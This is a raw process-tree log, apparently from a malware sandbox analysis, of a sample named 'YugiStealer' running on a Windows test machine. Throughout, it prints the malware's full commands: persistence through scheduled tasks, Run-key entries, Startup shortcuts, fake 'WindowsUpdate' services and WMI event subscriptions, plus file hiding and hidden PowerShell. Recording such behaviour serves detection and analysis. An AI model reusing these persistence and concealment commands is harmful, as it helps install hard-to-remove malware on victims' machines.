C:\Windows\Temp\lsass.exeC:\Windows\Temp\lsass.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\lsass.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\lsass.exe\" }"2⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\h2KOEj32\TraumatizerV3.exe"C:\Windows\Temp\h2KOEj32\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\h2KOEj32\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\h2KOEj32\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\svchost.exeC:\Users\Public\Documents\svchost.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\svchost.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\svchost.exe\" }"2⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\pGqM2kxh\TraumatizerV3.exe"C:\Windows\Temp\pGqM2kxh\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\pGqM2kxh\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\0409\WindowsUpdate.exeC:\Windows\System32\0409\WindowsUpdate.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk') $Shortcut.TargetPath = 'C:\Windows\System32\0409\WindowsUpdate.exe' $Shortcut.WindowStyle = 7 $Shortcut.Description = 'Windows Update Service' $Shortcut.IconLocation = 'shell32.dll,1' $Shortcut.Save() $shortcutFile = Get-Item 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk' -ErrorAction SilentlyContinue if ($shortcutFile) { [System.IO.File]::SetAttributes($shortcutFile.FullName, [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) } } catch {}"2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /f2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /xml C:\Users\Admin\AppData\Local\Temp\windows_update_task.xml /f2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask2⤵
-
-
C:\Windows\system32\sc.exesc delete WindowsUpdateService2⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.execmd /C "sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\""2⤵
-
C:\Windows\system32\sc.exesc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\"3⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\""2⤵
-
C:\Windows\system32\sc.exesc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\"3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000"2⤵
-
C:\Windows\system32\sc.exesc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/50003⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" obj= LocalSystem"2⤵
-
C:\Windows\system32\sc.exesc config \"WindowsUpdateService\" obj= LocalSystem3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" type= own"2⤵
-
C:\Windows\system32\sc.exesc config \"WindowsUpdateService\" type= own3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\sc.exesc start WindowsUpdateService2⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = 'BotRestartFilter' EventNameSpace = 'root\cimv2' Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'WindowsUpdate.exe'\" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = 'BotRestartConsumer' CommandLineTemplate = 'C:\Windows\System32\0409\WindowsUpdate.exe' RunInteractively = $false } $null = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\0409\WindowsUpdate.exeC:\Windows\System32\0409\WINDOW~1.EXE1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\0409\WindowsUpdate.exeC:\Windows\System32\0409\WindowsUpdate.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" }"2⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"4⤵
-
